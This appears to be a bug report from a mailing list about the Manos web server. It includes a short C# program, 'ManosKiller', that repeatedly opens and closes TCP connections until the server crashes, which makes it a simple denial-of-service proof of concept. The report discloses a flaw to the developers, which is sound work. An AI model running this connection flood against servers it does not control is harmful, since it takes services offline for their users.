To test it, compile and execute the following program like this:
mono ManosKiller.exe 127.0.0.1 8181 1000
and after one thousand opened connections the server dies.
With a 1000ms timeout it takes about 16 minutes, if you want to see it
dying faster just give a shorter interval to the test program.
A similar test on Apache does not show problems.
Unfortunately I don't have time to debug this just now, but I thought
it could interest somebody :-)
And BTW, I have to credit Torello Querci of Negens (www.negens.com)
for tracking this down and testing it!
Cheers!
Massi
===================================================================================
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
namespace ManosKiller
{
class MainClass
{
public static void usage() {
Console.WriteLine ("ManosKiller
server_ip_address server_ip_port
interval_in_millis [max_try]");
}
public static void Main (string[] args)
{
Console.WriteLine ("Testing Manos Killer");
if (args.Length < 3 || args.Length > 4) {
usage();
Environment.Exit ( 1 );
}
string serverIpAddr = args[0];
int serverPort = Int32.Parse(args[1]);
int interval = Int32.Parse(args[2]);
int max_try = Int32.MaxValue;
if (args.Length >= 4) {
max_try = Int32.Parse (args[3]);
}
for (int i = 1; i<max_try; ++i) {
System.Threading.Thread.Sleep (interval);
Console.WriteLine (string.Format
("Socket no° {0}", i));
Socket listener = new Socket
(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP);
IPAddress ipAdd =
System.Net.IPAddress.Parse(serverIpAddr);
IPEndPoint remoteEP = new IPEndPoint
(ipAdd,serverPort);
listener.Connect (remoteEP);
listener.Close();
}
}
}
}